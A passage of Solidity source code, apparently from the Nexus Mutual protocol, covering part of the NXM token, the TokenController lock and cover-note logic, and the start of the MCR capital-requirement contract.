* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Adds a user to whitelist
* @param _member address to add to whitelist
*/
function addToWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = true;
emit WhiteListed(_member);
return true;
}
/**
* @dev removes a user from whitelist
* @param _member address to remove from whitelist
*/
function removeFromWhiteList(address _member) public onlyOperator returns (bool) {
whiteListed[_member] = false;
emit BlackListed(_member);
return true;
}
/**
* @dev change operator address
* @param _newOperator address of new operator
*/
function changeOperator(address _newOperator) public onlyOperator returns (bool) {
operator = _newOperator;
return true;
}
/**
* @dev burns an amount of the tokens of the message sender
* account.
* @param amount The amount that will be burnt.
*/
function burn(uint256 amount) public returns (bool) {
_burn(msg.sender, amount);
return true;
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public returns (bool) {
_burnFrom(from, value);
return true;
}
/**
* @dev function that mints an amount of the token and assigns it to
* an account.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function mint(address account, uint256 amount) public onlyOperator {
_mint(account, amount);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public canTransfer(to) returns (bool) {
require(isLockedForMV[msg.sender] < now); // if not voted under governance
require(value <= _balances[msg.sender]);
_transfer(to, value);
return true;
}
/**
* @dev Transfer tokens to the operator from the specified address
* @param from The address to transfer from.
* @param value The amount to be transferred.
*/
function operatorTransfer(address from, uint256 value) public onlyOperator returns (bool) {
require(value <= _balances[from]);
_transferFrom(from, operator, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
canTransfer(to)
returns (bool)
{
require(isLockedForMV[from] < now); // if not voted under governance
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
_transferFrom(from, to, value);
return true;
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForMemberVote(address _of, uint _days) public onlyOperator {
if (_days.add(now) > isLockedForMV[_of])
isLockedForMV[_of] = _days.add(now);
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address to, uint256 value) internal {
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 value
)
internal
{
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
import "../../interfaces/IPooledStaking.sol";
import "../claims/ClaimsData.sol";
import "./NXMToken.sol";
import "./external/LockHandler.sol";
contract TokenController is LockHandler, Iupgradable {
using SafeMath for uint256;
struct CoverInfo {
uint16 claimCount;
bool hasOpenClaim;
bool hasAcceptedClaim;
// note: still 224 bits available here, can be used later
}
NXMToken public token;
IPooledStaking public pooledStaking;
uint public minCALockTime;
uint public claimSubmissionGracePeriod;
// coverId => CoverInfo
mapping(uint => CoverInfo) public coverInfo;
event Locked(address indexed _of, bytes32 indexed _reason, uint256 _amount, uint256 _validity);
event Unlocked(address indexed _of, bytes32 indexed _reason, uint256 _amount);
event Burned(address indexed member, bytes32 lockedUnder, uint256 amount);
modifier onlyGovernance {
require(msg.sender == ms.getLatestAddress("GV"), "TokenController: Caller is not governance");
_;
}
/**
* @dev Just for interface
*/
function changeDependentContractAddress() public {
token = NXMToken(ms.tokenAddress());
pooledStaking = IPooledStaking(ms.getLatestAddress("PS"));
}
function markCoverClaimOpen(uint coverId) external onlyInternal {
CoverInfo storage info = coverInfo[coverId];
uint16 claimCount;
bool hasOpenClaim;
bool hasAcceptedClaim;
// reads all of them using a single SLOAD
(claimCount, hasOpenClaim, hasAcceptedClaim) = (info.claimCount, info.hasOpenClaim, info.hasAcceptedClaim);
// no safemath for uint16 but should be safe from
// overflows as there're max 2 claims per cover
claimCount = claimCount + 1;
require(claimCount <= 2, "TokenController: Max claim count exceeded");
require(hasOpenClaim == false, "TokenController: Cover already has an open claim");
require(hasAcceptedClaim == false, "TokenController: Cover already has accepted claims");
// should use a single SSTORE for both
(info.claimCount, info.hasOpenClaim) = (claimCount, true);
}
/**
* @param coverId cover id (careful, not claim id!)
* @param isAccepted claim verdict
*/
function markCoverClaimClosed(uint coverId, bool isAccepted) external onlyInternal {
CoverInfo storage info = coverInfo[coverId];
require(info.hasOpenClaim == true, "TokenController: Cover claim is not marked as open");
// should use a single SSTORE for both
(info.hasOpenClaim, info.hasAcceptedClaim) = (false, isAccepted);
}
/**
* @dev to change the operator address
* @param _newOperator is the new address of operator
*/
function changeOperator(address _newOperator) public onlyInternal {
token.changeOperator(_newOperator);
}
/**
* @dev Proxies token transfer through this contract to allow staking when members are locked for voting
* @param _from Source address
* @param _to Destination address
* @param _value Amount to transfer
*/
function operatorTransfer(address _from, address _to, uint _value) external onlyInternal returns (bool) {
require(msg.sender == address(pooledStaking), "TokenController: Call is only allowed from PooledStaking address");
token.operatorTransfer(_from, _value);
token.transfer(_to, _value);
return true;
}
/**
* @dev Locks a specified amount of tokens,
* for CLA reason and for a specified time
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lockClaimAssessmentTokens(uint256 _amount, uint256 _time) external checkPause {
require(minCALockTime <= _time, "TokenController: Must lock for minimum time");
require(_time <= 180 days, "TokenController: Tokens can be locked for 180 days maximum");
// If tokens are already locked, then functions extendLock or
// increaseClaimAssessmentLock should be used to make any changes
_lock(msg.sender, "CLA", _amount, _time);
}
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
* @param _of address whose tokens are to be locked
*/
function lockOf(address _of, bytes32 _reason, uint256 _amount, uint256 _time)
public
onlyInternal
returns (bool)
{
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
_lock(_of, _reason, _amount, _time);
return true;
}
/**
* @dev Mints and locks a specified amount of tokens against an address,
* for a CN reason and time
* @param _of address whose tokens are to be locked
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function mintCoverNote(
address _of,
bytes32 _reason,
uint256 _amount,
uint256 _time
) external onlyInternal {
require(_tokensLocked(_of, _reason) == 0, "TokenController: An amount of tokens is already locked");
require(_amount != 0, "TokenController: Amount shouldn't be zero");
if (locked[_of][_reason].amount == 0) {
lockReason[_of].push(_reason);
}
token.mint(address(this), _amount);
uint256 lockedUntil = now.add(_time);
locked[_of][_reason] = LockToken(_amount, lockedUntil, false);
emit Locked(_of, _reason, _amount, lockedUntil);
}
/**
* @dev Extends lock for reason CLA for a specified time
* @param _time Lock extension time in seconds
*/
function extendClaimAssessmentLock(uint256 _time) external checkPause {
uint256 validity = getLockedTokensValidity(msg.sender, "CLA");
require(validity.add(_time).sub(block.timestamp) <= 180 days, "TokenController: Tokens can be locked for 180 days maximum");
_extendLock(msg.sender, "CLA", _time);
}
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLockOf(address _of, bytes32 _reason, uint256 _time)
public
onlyInternal
returns (bool)
{
_extendLock(_of, _reason, _time);
return true;
}
/**
* @dev Increase number of tokens locked for a CLA reason
* @param _amount Number of tokens to be increased
*/
function increaseClaimAssessmentLock(uint256 _amount) external checkPause
{
require(_tokensLocked(msg.sender, "CLA") > 0, "TokenController: No tokens locked");
token.operatorTransfer(msg.sender, _amount);
locked[msg.sender]["CLA"].amount = locked[msg.sender]["CLA"].amount.add(_amount);
emit Locked(msg.sender, "CLA", _amount, locked[msg.sender]["CLA"].validity);
}
/**
* @dev burns tokens of an address
* @param _of is the address to burn tokens of
* @param amount is the amount to burn
* @return the boolean status of the burning process
*/
function burnFrom(address _of, uint amount) public onlyInternal returns (bool) {
return token.burnFrom(_of, amount);
}
/**
* @dev Burns locked tokens of a user
* @param _of address whose tokens are to be burned
* @param _reason lock reason for which tokens are to be burned
* @param _amount amount of tokens to burn
*/
function burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) public onlyInternal {
_burnLockedTokens(_of, _reason, _amount);
}
/**
* @dev reduce lock duration for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock reduction time in seconds
*/
function reduceLock(address _of, bytes32 _reason, uint256 _time) public onlyInternal {
_reduceLock(_of, _reason, _time);
}
/**
* @dev Released locked tokens of an address locked for a specific reason
* @param _of address whose tokens are to be released from lock
* @param _reason reason of the lock
* @param _amount amount of tokens to release
*/
function releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount)
public
onlyInternal
{
_releaseLockedTokens(_of, _reason, _amount);
}
/**
* @dev Adds an address to whitelist maintained in the contract
* @param _member address to add to whitelist
*/
function addToWhitelist(address _member) public onlyInternal {
token.addToWhiteList(_member);
}
/**
* @dev Removes an address from the whitelist in the token
* @param _member address to remove
*/
function removeFromWhitelist(address _member) public onlyInternal {
token.removeFromWhiteList(_member);
}
/**
* @dev Mints new token for an address
* @param _member address to reward the minted tokens
* @param _amount number of tokens to mint
*/
function mint(address _member, uint _amount) public onlyInternal {
token.mint(_member, _amount);
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForMemberVote(address _of, uint _days) public onlyInternal {
token.lockForMemberVote(_of, _days);
}
/**
* @dev Unlocks the withdrawable tokens against CLA of a specified address
* @param _of Address of user, claiming back withdrawable tokens against CLA
*/
function withdrawClaimAssessmentTokens(address _of) external checkPause {
uint256 withdrawableTokens = _tokensUnlockable(_of, "CLA");
if (withdrawableTokens > 0) {
locked[_of]["CLA"].claimed = true;
emit Unlocked(_of, "CLA", withdrawableTokens);
token.transfer(_of, withdrawableTokens);
}
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param value value to set
*/
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "MNCLT") {
minCALockTime = value;
return;
}
if (code == "GRACEPER") {
claimSubmissionGracePeriod = value;
return;
}
revert("TokenController: invalid param code");
}
function getLockReasons(address _of) external view returns (bytes32[] memory reasons) {
return lockReason[_of];
}
/**
* @dev Gets the validity of locked tokens of a specified address
* @param _of The address to query the validity
* @param reason reason for which tokens were locked
*/
function getLockedTokensValidity(address _of, bytes32 reason) public view returns (uint256 validity) {
validity = locked[_of][reason].validity;
}
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(_tokensUnlockable(_of, lockReason[_of][i]));
}
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
return _tokensLocked(_of, _reason);
}
/**
* @dev Returns tokens locked and validity for a specified address and reason
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLockedWithValidity(address _of, bytes32 _reason)
public
view
returns (uint256 amount, uint256 validity)
{
bool claimed = locked[_of][_reason].claimed;
amount = locked[_of][_reason].amount;
validity = locked[_of][_reason].validity;
if (claimed) {
amount = 0;
}
}
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
return _tokensUnlockable(_of, _reason);
}
function totalSupply() public view returns (uint256)
{
return token.totalSupply();
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public
view
returns (uint256 amount)
{
return _tokensLockedAtTime(_of, _reason, _time);
}
/**
* @dev Returns the total amount of tokens held by an address:
* transferable + locked + staked for pooled staking - pending burns.
* Used by Claims and Governance in member voting to calculate the user's vote weight.
*
* @param _of The address to query the total balance of
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of) public view returns (uint256 amount) {
amount = token.balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(_tokensLocked(_of, lockReason[_of][i]));
}
uint stakerReward = pooledStaking.stakerReward(_of);
uint stakerDeposit = pooledStaking.stakerDeposit(_of);
amount = amount.add(stakerDeposit).add(stakerReward);
}
/**
* @dev Returns the total amount of locked and staked tokens.
* Used by MemberRoles to check eligibility for withdraw / switch membership.
* Includes tokens locked for claim assessment, tokens staked for risk assessment, and locked cover notes
* Does not take into account pending burns.
* @param _of member whose locked tokens are to be calculate
*/
function totalLockedBalance(address _of) public view returns (uint256 amount) {
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(_tokensLocked(_of, lockReason[_of][i]));
}
amount = amount.add(pooledStaking.stakerDeposit(_of));
}
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _of address whose tokens are to be locked
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function _lock(address _of, bytes32 _reason, uint256 _amount, uint256 _time) internal {
require(_tokensLocked(_of, _reason) == 0, "TokenController: An amount of tokens is already locked");
require(_amount != 0, "TokenController: Amount shouldn't be zero");
if (locked[_of][_reason].amount == 0) {
lockReason[_of].push(_reason);
}
token.operatorTransfer(_of, _amount);
uint256 validUntil = now.add(_time);
locked[_of][_reason] = LockToken(_amount, validUntil, false);
emit Locked(_of, _reason, _amount, validUntil);
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function _tokensLocked(address _of, bytes32 _reason)
internal
view
returns (uint256 amount)
{
if (!locked[_of][_reason].claimed) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function _tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
internal
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity > _time) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Extends lock for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function _extendLock(address _of, bytes32 _reason, uint256 _time) internal {
require(_tokensLocked(_of, _reason) > 0, "TokenController: No tokens locked");
emit Unlocked(_of, _reason, locked[_of][_reason].amount);
locked[_of][_reason].validity = locked[_of][_reason].validity.add(_time);
emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
}
/**
* @dev reduce lock duration for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock reduction time in seconds
*/
function _reduceLock(address _of, bytes32 _reason, uint256 _time) internal {
require(_tokensLocked(_of, _reason) > 0, "TokenController: No tokens locked");
emit Unlocked(_of, _reason, locked[_of][_reason].amount);
locked[_of][_reason].validity = locked[_of][_reason].validity.sub(_time);
emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
}
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function _tokensUnlockable(address _of, bytes32 _reason) internal view returns (uint256 amount)
{
if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Burns locked tokens of a user
* @param _of address whose tokens are to be burned
* @param _reason lock reason for which tokens are to be burned
* @param _amount amount of tokens to burn
*/
function _burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal {
uint256 amount = _tokensLocked(_of, _reason);
require(amount >= _amount, "TokenController: Amount exceedes locked tokens amount");
if (amount == _amount) {
locked[_of][_reason].claimed = true;
}
locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
// lock reason removal is skipped here: needs to be done from offchain
token.burn(_amount);
emit Burned(_of, _reason, _amount);
}
/**
* @dev Released locked tokens of an address locked for a specific reason
* @param _of address whose tokens are to be released from lock
* @param _reason reason of the lock
* @param _amount amount of tokens to release
*/
function _releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal
{
uint256 amount = _tokensLocked(_of, _reason);
require(amount >= _amount, "TokenController: Amount exceedes locked tokens amount");
if (amount == _amount) {
locked[_of][_reason].claimed = true;
}
locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
// lock reason removal is skipped here: needs to be done from offchain
token.transfer(_of, _amount);
emit Unlocked(_of, _reason, _amount);
}
function withdrawCoverNote(
address _of,
uint[] calldata _coverIds,
uint[] calldata _indexes
) external onlyInternal {
uint reasonCount = lockReason[_of].length;
uint lastReasonIndex = reasonCount.sub(1, "TokenController: No locked cover notes found");
uint totalAmount = 0;
// The iteration is done from the last to first to prevent reason indexes from
// changing due to the way we delete the items (copy last to current and pop last).
// The provided indexes array must be ordered, otherwise reason index checks will fail.
for (uint i = _coverIds.length; i > 0; i--) {
bool hasOpenClaim = coverInfo[_coverIds[i - 1]].hasOpenClaim;
require(hasOpenClaim == false, "TokenController: Cannot withdraw for cover with an open claim");
// note: cover owner is implicitly checked using the reason hash
bytes32 _reason = keccak256(abi.encodePacked("CN", _of, _coverIds[i - 1]));
uint _reasonIndex = _indexes[i - 1];
require(lockReason[_of][_reasonIndex] == _reason, "TokenController: Bad reason index");
uint amount = locked[_of][_reason].amount;
totalAmount = totalAmount.add(amount);
delete locked[_of][_reason];
if (lastReasonIndex != _reasonIndex) {
lockReason[_of][_reasonIndex] = lockReason[_of][lastReasonIndex];
}
lockReason[_of].pop();
emit Unlocked(_of, _reason, amount);
if (lastReasonIndex > 0) {
lastReasonIndex = lastReasonIndex.sub(1, "TokenController: Reason count mismatch");
}
}
token.transfer(_of, totalAmount);
}
function removeEmptyReason(address _of, bytes32 _reason, uint _index) external {
_removeEmptyReason(_of, _reason, _index);
}
function removeMultipleEmptyReasons(
address[] calldata _members,
bytes32[] calldata _reasons,
uint[] calldata _indexes
) external {
require(_members.length == _reasons.length, "TokenController: members and reasons array lengths differ");
require(_reasons.length == _indexes.length, "TokenController: reasons and indexes array lengths differ");
for (uint i = _members.length; i > 0; i--) {
uint idx = i - 1;
_removeEmptyReason(_members[idx], _reasons[idx], _indexes[idx]);
}
}
function _removeEmptyReason(address _of, bytes32 _reason, uint _index) internal {
uint lastReasonIndex = lockReason[_of].length.sub(1, "TokenController: lockReason is empty");
require(lockReason[_of][_index] == _reason, "TokenController: bad reason index");
require(locked[_of][_reason].amount == 0, "TokenController: reason amount is not zero");
if (lastReasonIndex != _index) {
lockReason[_of][_index] = lockReason[_of][lastReasonIndex];
}
lockReason[_of].pop();
}
function initialize() external {
require(claimSubmissionGracePeriod == 0, "TokenController: Already initialized");
claimSubmissionGracePeriod = 120 days;
migrate();
}
function migrate() internal {
ClaimsData cd = ClaimsData(ms.getLatestAddress("CD"));
uint totalClaims = cd.actualClaimLength() - 1;
// fix stuck claims 21 & 22
cd.changeFinalVerdict(20, -1);
cd.setClaimStatus(20, 6);
cd.changeFinalVerdict(21, -1);
cd.setClaimStatus(21, 6);
// reduce claim assessment lock period for members locked for more than 180 days
// extracted using scripts/extract-ca-locked-more-than-180.js
address payable[3] memory members = [
0x4a9fA34da6d2378c8f3B9F6b83532B169beaEDFc,
0x6b5DCDA27b5c3d88e71867D6b10b35372208361F,
0x8B6D1e5b4db5B6f9aCcc659e2b9619B0Cd90D617
];
for (uint i = 0; i < members.length; i++) {
if (locked[members[i]]["CLA"].validity > now + 180 days) {
locked[members[i]]["CLA"].validity = now + 180 days;
}
}
for (uint i = 1; i <= totalClaims; i++) {
(/*id*/, uint status) = cd.getClaimStatusNumber(i);
(/*id*/, uint coverId) = cd.getClaimCoverId(i);
int8 verdict = cd.getFinalVerdict(i);
// SLOAD
CoverInfo memory info = coverInfo[coverId];
info.claimCount = info.claimCount + 1;
info.hasAcceptedClaim = (status == 14);
info.hasOpenClaim = (verdict == 0);
// SSTORE
coverInfo[coverId] = info;
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../abstract/MasterAware.sol";
import "../capital/Pool.sol";
import "../cover/QuotationData.sol";
import "../oracles/PriceFeedOracle.sol";
import "../token/NXMToken.sol";
import "../token/TokenData.sol";
import "./LegacyMCR.sol";
contract MCR is MasterAware {
using SafeMath for uint;
Pool public pool;
QuotationData public qd;
// sizeof(qd) + 96 = 160 + 96 = 256 (occupies entire slot)
uint96 _unused;
// the following values are expressed in basis points
uint24 public mcrFloorIncrementThreshold = 13000;
uint24 public maxMCRFloorIncrement = 100;
uint24 public maxMCRIncrement = 500;
uint24 public gearingFactor = 48000;
// min update between MCR updates in seconds
uint24 public minUpdateTime = 3600;
uint112 public mcrFloor;
uint112 public mcr;
uint112 public desiredMCR;
uint32 public lastUpdateTime;
LegacyMCR public previousMCR;
event MCRUpdated(
uint mcr,
uint desiredMCR,
uint mcrFloor,
uint mcrETHWithGear,
uint totalSumAssured
);
uint constant UINT24_MAX = ~uint24(0);
uint constant MAX_MCR_ADJUSTMENT = 100;
uint constant BASIS_PRECISION = 10000;
constructor (address masterAddress) public {
changeMasterAddress(masterAddress);
if (masterAddress != address(0)) {
previousMCR = LegacyMCR(master.getLatestAddress("MC"));
}
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public {
qd = QuotationData(master.getLatestAddress("QD"));
pool = Pool(master.getLatestAddress("P1"));
initialize();
}
function initialize() internal {
address currentMCR = master.getLatestAddress("MC");
if (address(previousMCR) == address(0) || currentMCR != address(this)) {
// already initialized or not ready for initialization
return;
}
// fetch MCR parameters from previous contract
uint112 minCap = 7000 * 1e18;
mcrFloor = uint112(previousMCR.variableMincap()) + minCap;
mcr = uint112(previousMCR.getLastMCREther());
desiredMCR = mcr;
mcrFloorIncrementThreshold = uint24(previousMCR.dynamicMincapThresholdx100());
maxMCRFloorIncrement = uint24(previousMCR.dynamicMincapIncrementx100());
// set last updated time to now
lastUpdateTime = uint32(block.timestamp);
previousMCR = LegacyMCR(address(0));
}
/**
* @dev Gets total sum assured (in ETH).
* @return amount of sum assured
*/
function getAllSumAssurance() public view returns (uint) {
PriceFeedOracle priceFeed = pool.priceFeedOracle();
address daiAddress = priceFeed.daiAddress();
uint ethAmount = qd.getTotalSumAssured("ETH").mul(1e18);
uint daiAmount = qd.getTotalSumAssured("DAI").mul(1e18);
uint daiRate = priceFeed.getAssetToEthRate(daiAddress);
uint daiAmountInEth = daiAmount.mul(daiRate).div(1e18);
return ethAmount.add(daiAmountInEth);
}
/*
* @dev trigger an MCR update. Current virtual MCR value is synced to storage, mcrFloor is potentially updated
* and a new desiredMCR value to move towards is set.
*
*/
function updateMCR() public {
_updateMCR(pool.getPoolValueInEth(), false);
}
function updateMCRInternal(uint poolValueInEth, bool forceUpdate) public onlyInternal {
_updateMCR(poolValueInEth, forceUpdate);
}
function _updateMCR(uint poolValueInEth, bool forceUpdate) internal {
// read with 1 SLOAD
uint _mcrFloorIncrementThreshold = mcrFloorIncrementThreshold;
uint _maxMCRFloorIncrement = maxMCRFloorIncrement;
uint _gearingFactor = gearingFactor;
uint _minUpdateTime = minUpdateTime;
uint _mcrFloor = mcrFloor;
// read with 1 SLOAD
uint112 _mcr = mcr;
uint112 _desiredMCR = desiredMCR;
uint32 _lastUpdateTime = lastUpdateTime;
if (!forceUpdate && _lastUpdateTime + _minUpdateTime > block.timestamp) {
return;
}
if (block.timestamp > _lastUpdateTime && pool.calculateMCRRatio(poolValueInEth, _mcr) >= _mcrFloorIncrementThreshold) {
// MCR floor updates by up to maxMCRFloorIncrement percentage per day whenever the MCR ratio exceeds 1.3
// MCR floor is monotonically increasing.
uint basisPointsAdjustment = min(
_maxMCRFloorIncrement.mul(block.timestamp - _lastUpdateTime).div(1 days),
_maxMCRFloorIncrement
);
uint newMCRFloor = _mcrFloor.mul(basisPointsAdjustment.add(BASIS_PRECISION)).div(BASIS_PRECISION);
require(newMCRFloor <= uint112(~0), 'MCR: newMCRFloor overflow');
mcrFloor = uint112(newMCRFloor);
}
// sync the current virtual MCR value to storage
uint112 newMCR = uint112(getMCR());
if (newMCR != _mcr) {
mcr = newMCR;
}
// the desiredMCR cannot fall below the mcrFloor but may have a higher or lower target value based
// on the changes in the totalSumAssured in the system.
uint totalSumAssured = getAllSumAssurance();
uint gearedMCR = totalSumAssured.mul(BASIS_PRECISION).div(_gearingFactor);
uint112 newDesiredMCR = uint112(max(gearedMCR, mcrFloor));
if (newDesiredMCR != _desiredMCR) {
desiredMCR = newDesiredMCR;
}
lastUpdateTime = uint32(block.timestamp);
emit MCRUpdated(mcr, desiredMCR, mcrFloor, gearedMCR, totalSumAssured);
}
/**
* @dev Calculates the current virtual MCR value. The virtual MCR value moves towards the desiredMCR value away
* from the stored mcr value at constant velocity based on how much time passed from the lastUpdateTime.
* The total change in virtual MCR cannot exceed 1% of stored mcr.
*
* This approach allows for the MCR to change smoothly across time without sudden jumps between values, while
* always progressing towards the desiredMCR goal. The desiredMCR can change subject to the call of _updateMCR
* so the virtual MCR value may change direction and start decreasing instead of increasing or vice-versa.
*
* @return mcr
*/
function getMCR() public view returns (uint) {
// read with 1 SLOAD
uint _mcr = mcr;
uint _desiredMCR = desiredMCR;
uint _lastUpdateTime = lastUpdateTime;
if (block.timestamp == _lastUpdateTime) {
return _mcr;
}
uint _maxMCRIncrement = maxMCRIncrement;
uint basisPointsAdjustment = _maxMCRIncrement.mul(block.timestamp - _lastUpdateTime).div(1 days);
basisPointsAdjustment = min(basisPointsAdjustment, MAX_MCR_ADJUSTMENT);
if (_desiredMCR > _mcr) {
return min(_mcr.mul(basisPointsAdjustment.add(BASIS_PRECISION)).div(BASIS_PRECISION), _desiredMCR);
}
// in case desiredMCR <= mcr
